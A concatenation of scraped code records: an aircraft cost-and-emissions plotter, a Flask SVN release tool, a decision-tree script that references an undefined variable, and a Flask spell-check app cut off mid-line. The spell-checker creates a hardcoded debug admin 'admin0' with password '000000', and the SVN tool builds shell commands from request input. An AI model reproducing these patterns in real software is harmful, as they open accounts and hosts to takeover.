H2O = 1.24\n NO = .006\n CO = .001\n UHC = .0003\n Soot = .00002\n\n em_co2 = m_fuel * cO2\n em_h20 = m_fuel * H2O\n em_no = m_fuel * NO\n em_co = m_fuel * CO\n em_uhc = m_fuel * UHC\n em_soot = m_fuel * Soot\n\n return [em_co2, em_h20, em_no, em_co, em_uhc, em_soot]\n\n\n def plots(self):\n plt.figure()\n plt.plot(self.UC_range[0], self.DOC_SKO_AB_des_2c[0])\n plt.plot(self.UC_range[1], self.DOC_SKO_BC_des_2c[0])\n plt.plot(self.UC_range[2], self.DOC_SKO_CD_des_2c[0])\n plt.plot(self.UC_range[0], self.DOC_SKO_AB_des_2c_corr[0])\n plt.grid()\n plt.title('Stückkostenverlauf')\n plt.xlabel('Reichweite [km]')\n plt.ylabel('DOC/SKO')\n plt.legend(['AB', 'BC', 'CD', 'AB, korr.'])\n plt.xlim([0, 6000])\n plt.ylim([0.5, 2])\n\n plt.figure(67)\n plt_pf = []\n for i in range(0, len(self.DOC_SKO_AB_des_2c)):\n clr = cm.autumn(i/11, 1)\n [dummy, ] = plt.plot(self.UC_range[0], self.DOC_SKO_AB_des_2c[i], '-', c=clr)\n plt.plot(self.UC_range[1], self.DOC_SKO_BC_des_2c[i], '--', c=clr)\n plt.plot(self.UC_range[2], self.DOC_SKO_CD_des_2c[i], '.-', c=clr)\n plt.plot(self.UC_range[0], self.DOC_SKO_AB_des_2c_corr[i], c=clr )\n plt_pf.append(dummy)\n plt.legend([plt_pf[0], plt_pf[1], plt_pf[2], plt_pf[3], plt_pf[4], plt_pf[5], plt_pf[6], plt_pf[7], plt_pf[8], plt_pf[9], plt_pf[10]],\n ['09', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19'])\n plt.grid()\n plt.title('Stückkostenverlauf durch den Kerosinpreis (09 - 19)')\n plt.xlabel('Reichweite [km]')\n plt.ylabel('DOC/SKO')\n # plt.legend(['AB', 'BC', 'CD', 'AB, korr.'])\n plt.xlim([0, 6000])\n plt.ylim([0.5, 2])\n\n # for i in range(0, len(self.H)):\n # clr = cm.winter(i / 9, 1)\n # [dummy, ] = col.plot(self.plt_VEAS[subplt_iter][i], self.plt_eps[subplt_iter][i], c=clr)\n # plt_H.append(dummy)\n # col.plot(self.plt_VEAS[subplt_iter][i], self.plt_SG_vorh[subplt_iter][i], c=clr)\n # col.set_xlabel('$V_{EAS}$ [m/s]')\n # col.set_ylabel('$eps$ [-]')\n # col.legend([plt_H[0], plt_H[1], plt_H[2], plt_H[3], plt_H[4], plt_H[5], plt_H[6], plt_H[7], plt_H[8]],\n # ['H = ' + str(self.H[0]) + ' m', 'H = ' + str(self.H[1]) + ' m', 'H = ' + str(self.H[2]) + ' m',\n # 'H = ' + str(self.H[3]) + ' m', 'H = ' + str(self.H[4]) + ' m', 'H = ' + str(self.H[5]) + ' m',\n # 'H = ' + str(self.H[6]) + ' m', 'H = ' + str(self.H[7]) + ' m', 'H = ' + str(self.H[8]) + ' m'],\n # loc='upper left')\n #\n\n\n plt.show()\n\n\n\n def write_csv(self):\n with open('../export/data_doc.csv', mode='w', newline='') as export_file:\n data_writer = csv.writer(export_file, delimiter=',', quotechar='\"')\n c1c2_sta = self.C1C2_sta\n c1c2_sta.insert(0,'C1C2 standard')\n data_writer.writerow(c1c2_sta)\n cost_dist_sta = self.cost_dist_sta\n cost_dist_sta.insert(0, 'cost distribution standard')\n data_writer.writerow(cost_dist_sta)\n\n c1c2_des = self.C1C2_des\n c1c2_des.insert(0,'C1C2 design')\n data_writer.writerow(c1c2_des)\n cost_dist_des = self.cost_dist_des\n cost_dist_des.insert(0, 'cost distribution design')\n data_writer.writerow(cost_dist_des)\n\ndoc().calc_total()\n\n\n\n", "sub_path": "bin/doc.py", "file_name": "doc.py", "file_ext": "py", "file_size_in_byte": 13870, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "bin.data_specification.specs", "line_number": 22, "usage_type": "call"}, {"api_name": "bin.data_specification", "line_number": 22, "usage_type": "name"}, {"api_name": "bin.isa.isa", "line_number": 23, "usage_type": "call"}, {"api_name": "bin.isa", "line_number": 23, "usage_type": "name"}, {"api_name": "bin.fe1_wing.calc_fe1_wing", "line_number": 24, "usage_type": "call"}, {"api_name": "bin.fe1_wing", "line_number": 24, "usage_type": "name"}, {"api_name": "bin.schwerpunkt.center_of_mass", "line_number": 25, "usage_type": "call"}, {"api_name": "bin.schwerpunkt", "line_number": 25, "usage_type": "name"}, {"api_name": "bin.det_drag.det_drag", "line_number": 42, "usage_type": "call"}, {"api_name": "bin.det_drag", "line_number": 42, "usage_type": "name"}, {"api_name": "bin.mass_torenbeek.torenbeek_mass", "line_number": 49, "usage_type": "call"}, {"api_name": "bin.mass_torenbeek", "line_number": 49, "usage_type": "name"}, {"api_name": "bin.mass_roskam.calc_mass", "line_number": 51, "usage_type": "call"}, {"api_name": "bin.mass_roskam", "line_number": 51, "usage_type": "name"}, {"api_name": "bin.mass_roskam.calc_mass", "line_number": 52, "usage_type": "call"}, {"api_name": "bin.mass_roskam", "line_number": 52, "usage_type": "name"}, {"api_name": "numpy.average", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 192, "usage_type": "call"}, {"api_name": "bin.performance.performance", "line_number": 227, "usage_type": "call"}, {"api_name": "bin.performance", "line_number": 227, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 239, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 277, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 277, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 278, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 278, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 279, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 279, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 280, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 280, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 281, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 281, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 282, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 282, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 283, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 283, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 284, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 284, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 285, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 285, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 286, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 286, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 287, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 287, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 288, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 288, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 290, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 290, "usage_type": "name"}, {"api_name": "matplotlib.cm.autumn", "line_number": 293, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 293, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 294, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 294, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 295, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 295, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 296, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 296, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 297, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 297, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 299, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 299, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 301, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 301, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 302, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 302, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 303, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 303, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 304, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 304, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 306, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 306, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 307, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 307, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 324, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 324, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 330, "usage_type": "call"}]} {"seq_id": "384829851", "text": "import os\nimport logging\nfrom flask import jsonify, render_template, request\nfrom flask_login import login_required\nfrom . import bp\nfrom .svn_excel_proc_util import proc_excel\nfrom ..main.decorators import permission_required\nfrom ..model.auth_m import Permission\nfrom ..utils.bat_cmd_util import sub_proc_run\n\n\nlogger = logging.getLogger(__name__)\n\n\nEXIT_SUCCESS = 'exit_success'\nEXIT_ERROR = 'exit_error'\n\nsvn_excel_file = 'Deploy_Source_Control.xlsx'\n\n\ndef svn_checkout(svn_url):\n logger.info('svn checkout {}'.format(svn_url))\n return sub_proc_run('svn checkout {}'.format(svn_url))\n\n\ndef svn_update(clt_svn_wd):\n logger.info('svn update {}'.format(clt_svn_wd))\n return sub_proc_run('svn update {}'.format(clt_svn_wd))\n\n\ndef svn_lock_file(file_name):\n logger.info('svn lock file: {}'.format(file_name))\n if not os.path.exists(file_name):\n rtn_msg = 'svn to lock file {} is not exists'.format(file_name)\n return {'rtn_code': '7000', 'rtn_msg': rtn_msg}\n\n return sub_proc_run('svn lock -m {} {}'.format('locked_by_APST_release', file_name))\n\n\ndef svn_unlock_file(file_name):\n logger.info('svn unlock file: {}'.format(file_name))\n if not os.path.exists(file_name):\n rtn_msg = 'svn to unlock file {} is not exists'.format(file_name)\n return {'rtn_code': '7000', 'rtn_msg': rtn_msg}\n\n return sub_proc_run('svn unlock {}'.format(file_name))\n\n\n# def sub_proc_run(cmd_str):\n# try:\n# print('command: {}'.format(cmd_str))\n# subprocess.run(cmd_str, check=True)\n# except subprocess.CalledProcessError as err:\n# rtn_msg = 'failed to execute command: {}, error: {}'.format(cmd_str, err)\n# return {'rtn_code': '9000', 'rtn_msg': rtn_msg}\n# return EXIT_SUCCESS\n\n\n@bp.route('/svn-special-release', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.MODIFY)\ndef svn_special_release():\n if request.method == 'GET':\n return render_template('tool/svn_special_release.html')\n\n req_data = request.get_json()\n svn_url = req_data['svn_url']\n clt_wd = req_data['clt_wd']\n cas_src_dir = req_data['cas_src_dir']\n frlm_exe_dir = req_data['frlm_exe_dir']\n logger.info('request parameter svn_url: {}. clt_wd: {}. cas_src_dir: {}. frlm_exe_dir: {}'.format(svn_url, clt_wd, cas_src_dir, frlm_exe_dir))\n\n if svn_url.endswith('/'):\n svn_url = svn_url[:-1]\n # last directory name of svn\n svn_last_dir = svn_url.rsplit('/', 1)[1]\n\n # client work directory path releate to svn\n clt_svn_wd = os.path.join(clt_wd, svn_last_dir)\n\n # server current work directory\n srv_cur_wd = os.getcwd()\n logger.info('server current work dir: {}'.format(srv_cur_wd))\n\n # for pull svn source code\n # change to client share folder for svn source check out and update\n logger.info('change to client work dir: {}'.format(clt_wd))\n try:\n os.chdir(clt_wd)\n except Exception as err:\n rtn_msg = 'failed to change work dir to {}, error: {}'.format(clt_wd, err)\n return jsonify({'rtn_code': '9000', 'rtn_msg': rtn_msg})\n\n rtn_msg = svn_checkout(svn_url)\n if rtn_msg != EXIT_SUCCESS:\n return jsonify(rtn_msg)\n\n rtn_msg = svn_update(clt_svn_wd)\n if rtn_msg != EXIT_SUCCESS:\n return jsonify(rtn_msg)\n\n svn_excel_file_abs_path = os.path.join(clt_svn_wd, svn_excel_file)\n rtn_msg = svn_lock_file(svn_excel_file_abs_path)\n if rtn_msg != EXIT_SUCCESS:\n return jsonify(rtn_msg)\n\n try:\n rtn_msg = proc_excel(svn_excel_file_abs_path, clt_wd, clt_svn_wd, cas_src_dir, frlm_exe_dir)\n return jsonify({'rtn_code': '0000', 'rtn_msg': rtn_msg})\n\n except Exception as err:\n rtn_msg = 'process excel failed error: {}'.format(err)\n return jsonify({'rtn_code': '9000', 'rtn_msg': rtn_msg})\n finally:\n rtn_msg = svn_unlock_file(svn_excel_file_abs_path)\n if rtn_msg != EXIT_SUCCESS:\n return jsonify(rtn_msg)\n\n", "sub_path": "apst/tool/svn_special_release_v.py", "file_name": "svn_special_release_v.py", "file_ext": "py", "file_size_in_byte": 3949, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "utils.bat_cmd_util.sub_proc_run", "line_number": 23, "usage_type": "call"}, {"api_name": "utils.bat_cmd_util.sub_proc_run", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "utils.bat_cmd_util.sub_proc_run", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "utils.bat_cmd_util.sub_proc_run", "line_number": 46, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 63, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 63, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 66, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 82, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 89, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 92, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 96, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 105, "usage_type": "call"}, {"api_name": "svn_excel_proc_util.proc_excel", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 113, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 117, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 60, "usage_type": "name"}, {"api_name": "main.decorators.permission_required", "line_number": 61, "usage_type": "call"}, {"api_name": "model.auth_m.Permission.MODIFY", "line_number": 61, "usage_type": "attribute"}, {"api_name": "model.auth_m.Permission", "line_number": 61, "usage_type": "name"}]} {"seq_id": "94902126", "text": "import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nmin(company.Sales)\nmax(company.Sales)\n#here we created dummy variables for US and Urban\ncompany=pd.get_dummies(company,columns=[\"US\",\"Urban\"],prefix=[\"US\",\"urban\"])\ncompany=company.drop(\"US_No\",axis=1)\ncompany=company.drop(\"urban_No\",axis=1)\n\n#here we create dummy variables for ShelveLoc\ndf2 = pd.DataFrame(company,columns=['ShelveLoc'])\ndf2.loc[df2.ShelveLoc==\"Good\",'shell'] = 1 \ndf2.loc[df2.ShelveLoc==\"Bad\",'shell'] = 2\ndf2.loc[df2.ShelveLoc==\"Medium\",'shell'] = 3 \ncompany=company.join(df2.shell)\ncompany=company.drop(\"ShelveLoc\",axis=1)\n\n# here we are creating dummy varables for Sales\ndf1 = pd.DataFrame(company,columns=['Sales'])\ndf1.loc[df1.Sales<4,'Sales'] = 1\ndf1.loc[(df1.Sales>=4) & (df1.Sales<8),'Sales'] = 2\ndf1.loc[(df1.Sales>=8) & (df1.Sales<=12),'Sales'] = 3\ndf1.loc[(df1.Sales>12) & (df1.Sales<17),'Sales'] = 4\n#here we are joing the Sales dummy variables\ncompany_new=company.drop(\"Sales\",axis=1)\ncompany_new=company_new.join(df1.Sales)\n\n\ncols = company_new.columns.tolist()\npredictors =cols[:10]\ntarget = cols[10]\ncompany_new['is_train'] = np.random.uniform(0, 1, len(company_new))<= 0.75\ncompany_new['is_train']\n\n\ntrain,test = company_new[company_new['is_train'] == True],company_new[company_new['is_train']==False]\nfrom sklearn.model_selection import train_test_split\ntrain,test = train_test_split(company_new,test_size = 0.2)\n\n\n\nfrom sklearn.tree import DecisionTreeClassifier\n\nmodel = DecisionTreeClassifier(criterion = 'entropy')\nmodel.fit(train[predictors],train[target])\npreds = model.predict(test[predictors])\npd.Series(preds).value_counts()\npd.crosstab(test[target],preds)\n\n\n# Accuracy = train\nnp.mean(train.Sales == model.predict(train[predictors]))\n\n# Accuracy = Test\nnp.mean(preds==test.Sales) \n", "sub_path": "decissiontree_assignment2.py", "file_name": "decissiontree_assignment2.py", "file_ext": "py", "file_size_in_byte": 1800, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.get_dummies", "line_number": 7, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 39, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 45, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 48, "usage_type": "call"}, {"api_name": "pandas.crosstab", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 56, "usage_type": "call"}]} {"seq_id": "379203272", "text": "#!/usr/bin/env python\nfrom flask import Flask, render_template, request, url_for, flash, redirect, session\nfrom forms import RegistrationForm, LoginForm, SpellForm, LoginHistoryForm, SpellHistoryForm\nfrom flask_bcrypt import Bcrypt\nfrom flask_login import LoginManager, UserMixin, login_user, current_user, logout_user, login_required\nfrom flask_wtf.csrf import CSRFProtect\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime\nimport subprocess\nimport os\n#from subprocess import PIPE\napp = Flask(__name__)\n\nbcrypt = Bcrypt(app)\ncsrf = CSRFProtect(app)\n#csrf.init_app(app)\nlogin_manager = LoginManager(app)\nlogin_manager.init_app(app)\nlogin_manager.login_view = 'login'\nlogin_manager.login_message_category = 'info'\ncwd = os.getcwd()\ncsrf_key = open('/run/secrets/csrf_key', 'r').read().strip()\napp.secret_key = csrf_key\n#app.config['SECRET_KEY'] = csrf_key\n#app.config['SECRET_KEY'] = '4a6542b7886a0d46a36c1bf51f9a11ac720dde847d4b0a9b'\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\n\nclass userTable(UserMixin, db.Model):\n id = db.Column(db.Integer(), unique=True, nullable=False, primary_key=True)\n username = db.Column(db.String(100), unique=True, nullable=False)\n password = db.Column(db.String(100), unique=False, nullable=False)\n twofa = db.Column(db.String(11), unique=False, nullable=True)\n useradmin = db.Column(db.Boolean(), unique=False, nullable=False, default=False)\n #userid = db.Column(db.Integer(), unique=True, nullable=False) #make primary key\n #boolean flag for admin/ or use admin uid / \n def __repr__(self):\n return f\"userTable('{self.id}','{self.username}','{self.password}','{self.twofa}','{self.useradmin}')\"\n\nclass spellTable(UserMixin, db.Model):\n id= db.Column(db.Integer(), unique=True, nullable=False, primary_key=True)\n username = db.Column(db.String(100), unique=False, nullable=False)\n querytext = db.Column(db.String(1000000), unique=False, nullable=False)\n queryresults = db.Column(db.String(1000000), unique=False, nullable=False)\n\n def __repr__(self):\n return f\"spellTable('{self.id}','{self.username}','{self.querytext}','{self.queryresults}')\"\n\nclass logTable(UserMixin, db.Model):\n id = db.Column(db.Integer(), unique=True, nullable=False, primary_key=True)\n username = db.Column(db.String(100), unique=False, nullable=False)\n logintime = db.Column(db.DateTime)\n logouttime = db.Column(db.DateTime, default=None) #TODO: change default to N/A\n\n def __repr__(self):\n return f\"logTable('{self.id}','{self.username}','{self.logintime}','{self.logouttime}')\"\n\n\n#db.drop_all() #for debugging purposes\ndb.create_all()\n\n\n\n# admin account for gradescope\nif userTable.query.filter_by(username='admin').first() == None:\n #OLD METHOD FOR ASSIGNMENT 3\n #hash_pword = bcrypt.generate_password_hash('Administrator@1').decode('utf-8')\n #admin = userTable(username='admin', password=hash_pword, twofa='12345678901', useradmin=True)\n #NEW METHOD FOR ASSIGNMENT 4: Retrieving info from Docker secrets\n docker_pword = open('/run/secrets/db_admin_pword', 'r').read().strip()\n docker_twofa = open('/run/secrets/db_admin_2fa', 'r').read().strip()\n hash_pword = bcrypt.generate_password_hash(docker_pword).decode('utf-8')\n admin = userTable(username='admin', password=hash_pword, twofa=docker_twofa, useradmin=True)\n db.session.add(admin)\n db.session.commit()\n\n# admin account for debugging\nif userTable.query.filter_by(username='admin0').first() == None:\n hash_pword = bcrypt.generate_password_hash('000000').decode('utf-8')\n admin0 = userTable(username='admin0', password=hash_pword, twofa=None, useradmin=True)\n db.session.add(admin0)\n db.session.commit()\n\n@login_manager.user_loader\ndef load_user(id):\n return userTable.query.get(id)\n\n@login_manager.unauthorized_handler\ndef unauthorized_handler():\n return 'Unauthorized. Please Login.'\n\n#@csrf.error_handler\n###@app.errorhandler(CSRFProtect)\n#def csrf_error(reason):\n #return render_template('csrf_error.html', reason=reason), 400\n\n@app.route('/') #main page\n@app.route('/index') #alt main page\ndef main():\n return render_template('home.html', pagename = 'Main Page')\n\n@app.route('/logout')\n#@login_required\ndef logout():\n print(current_user)\n curr = current_user.username\n print(curr)\n editlog = logTable.query.filter_by(username=curr, logouttime=None).first() #TODO: change default to N/A\n #print(editlog.logintime)\n #print(editlog.logouttime)\n #editlog = logTable(logouttime=datetime.utcnow()) \n #editlog = logTable(logouttime=datetime.utcnow()) \n\n editlog.logouttime = datetime.utcnow()\n #db.session.add(editlog)\n #db.__setattr__(editlog, logouttime=datetime.utcnow())\n db.session.add(editlog)\n db.session.commit()\n logout_user()\n print(current_user)\n\n print(editlog)\n flash('Logged Out Successfully', 'success')\n return redirect(url_for('main'))\n\n@app.route('/register', methods=[\"POST\", \"GET\"]) #registration page\ndef register():\n gradescope = ''\n if current_user.is_authenticated:\n flash('Already Logged In', 'info')\n return redirect(url_for('main'))\n form = RegistrationForm()\n if form.validate_on_submit():\n #local variables for form data\n user = form.uname.data\n pword = form.pword.data\n twofa = form.twofa.data\n hash_pword = bcrypt.generate_password_hash(form.pword.data).decode('utf-8')\n\n if userTable.query.filter_by(username=user).first() == None:\n if not form.twofa.data:\n newUser = userTable(username=user, password=hash_pword, twofa=None)\n db.session.add(newUser)\n db.session.commit()\n flash(f'Account created for {form.uname.data}. Please Login.', 'success')\n #userTable.query.all()\n gradescope = 'success'\n #return redirect(url_for('login'))\n return render_template('register.html', title = 'Success', pagename = 'Registration Page', gradescope = gradescope, form = form)\n else:\n newUser = userTable(username=user, password=hash_pword, twofa=twofa)\n db.session.add(newUser)\n db.session.commit()\n flash(f'Account created for {form.uname.data} with 2-Factor Authentication. Please Login.', 'success')\n #userTable.query.all()\n gradescope = 'success'\n #return redirect(url_for('login'))\n return render_template('register.html', title = 'Success', pagename = 'Registration Page', gradescope = gradescope, form = form)\n else:\n gradescope = 'failure'\n flash('Registration Error. Please select a different User Name', 'danger')\n return render_template('register.html', title = 'Failure', pagename = 'Registration Page', gradescope = gradescope, form = form)\n return render_template('register.html', title = 'Register', pagename = 'Registration Page', form = form)\n\n@app.route('/login', methods=[\"POST\", \"GET\"]) #login page\ndef login():\n #if current_user.is_authenticated:\n #flash('Already Logged In', 'info')\n #return redirect(url_for('main'))\n gradescope = ''\n form = LoginForm()\n if form.validate_on_submit():\n #local variables for form data\n user = form.uname.data\n pword = form.pword.data\n twofa = form.twofa.data\n dbuser = userTable.query.filter_by(username=user).first()\n if dbuser != None:\n #uname = form.uname.data\n if dbuser.twofa == None:\n if (bcrypt.check_password_hash(dbuser.password, pword)): \n #if ((users[form.uname.data]['pword'] == form.pword.data) and (users[form.uname.data]['2fa'] == form.twofa.data)):\n #if form.uname.data == 'test123' and form.twofa.data == '123456789' and form.pword.data == 'test123':\n #login_user(form.uname.data, remember=form.remember.data)\n #User.curr_user = form.uname.data\n #login_user(curr_user, remember=form.remember.data)\n #user = User()\n #user.id = uname\n login_user(dbuser, remember=form.remember.data)\n newlog = logTable(username=user, logintime=datetime.utcnow()) \n db.session.add(newlog)\n db.session.commit()\n flash('Logged in successfully', 'success')\n #return 'Logged in as: ' + current_user.id\n #print(login_user(dbuser))\n #print(dbuser)\n #print(dbuser.id)\n print(current_user)\n print(current_user.username)\n print(session.values)\n #return redirect(url_for('main'))\n gradescope = 'Success'\n return render_template('login.html', title = 'Login', pagename = 'Login Page', gradescope = gradescope, form = form)\n else:\n flash('Unsuccessful Login', 'danger')\n gradescope = 'Incorrect'\n return render_template('login.html', title = 'Login', pagename = 'Login Page', gradescope = gradescope, form = form)\n #else if not form.twofa.data:\n #flash('Unsuccessful Login', 'danger')\n else:\n if (bcrypt.check_password_hash(dbuser.password, pword) and (dbuser.twofa == twofa)):\n #if ((users[form.uname.data]['pword'] == form.pword.data) and (users[form.uname.data]['2fa'] == form.twofa.data)):\n #if form.uname.data == 'test123' and form.twofa.data == '123456789' and form.pword.data == 'test123':\n #login_user(form.uname.data, remember=form.remember.data)\n #User.curr_user = form.uname.data\n #login_user(curr_user, remember=form.remember.data)\n #user = User()\n #user.id = uname\n login_user(dbuser, remember=form.remember.data)\n newlog = logTable(username=user, logintime=datetime.utcnow()) \n db.session.add(newlog)\n db.session.commit()\n flash('Logged in successfully', 'success')\n #return 'Logged in as: ' + current_user.id\n #print(login_user(dbuser))\n #print(dbuser)\n #print(dbuser.id)\n print(current_user)\n print(current_user.username)\n print(session.values)\n gradescope = 'Success'\n #return redirect(url_for('main'))\n return render_template('login.html', title = 'Login', pagename = 'Login Page', gradescope = gradescope, form = form)\n else:\n flash('Unsuccessful Login', 'danger')\n gradescope = 'Incorrect'\n return render_template('login.html', title = 'Login', pagename = 'Login Page', gradescope = gradescope, form = form)\n else:\n flash('Unsuccessful Login. No such User.', 'danger')\n gradescope = 'Incorrect'\n return render_template('login.html', title = 'Login', pagename = 'Login Page', gradescope = gradescope, form = form)\n return render_template('login.html', title = 'Login', pagename = 'Login Page', form = form)\n\n #return \"Test Login Page\"\n\n@app.route('/spell_check', methods=[\"POST\", \"GET\"]) #spellchecker\n@login_required\ndef spell():\n form = SpellForm()\n #if login_user(user) == False:\n #flash('Please Log In', 'danger')\n #return redirect(url_for('login'))\n curr = current_user.username\n if form.validate_on_submit(): \n flash('Submitted Successfully', 'success')\n inputtext = form.inputtext.data \n with open('userinput.txt', 'w') as f:\n f.write(form.inputtext.data)\n f.close()\n\n #print(inputtext)\n #spellout = subprocess.Popen(['./a.out', 'userinput.txt', 'wordlist.txt'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) #use if using python3.6\n\n spellout = subprocess.run(['./a.out', 'userinput.txt', 'wordlist.txt'], check=True, stdout=subprocess.PIPE, 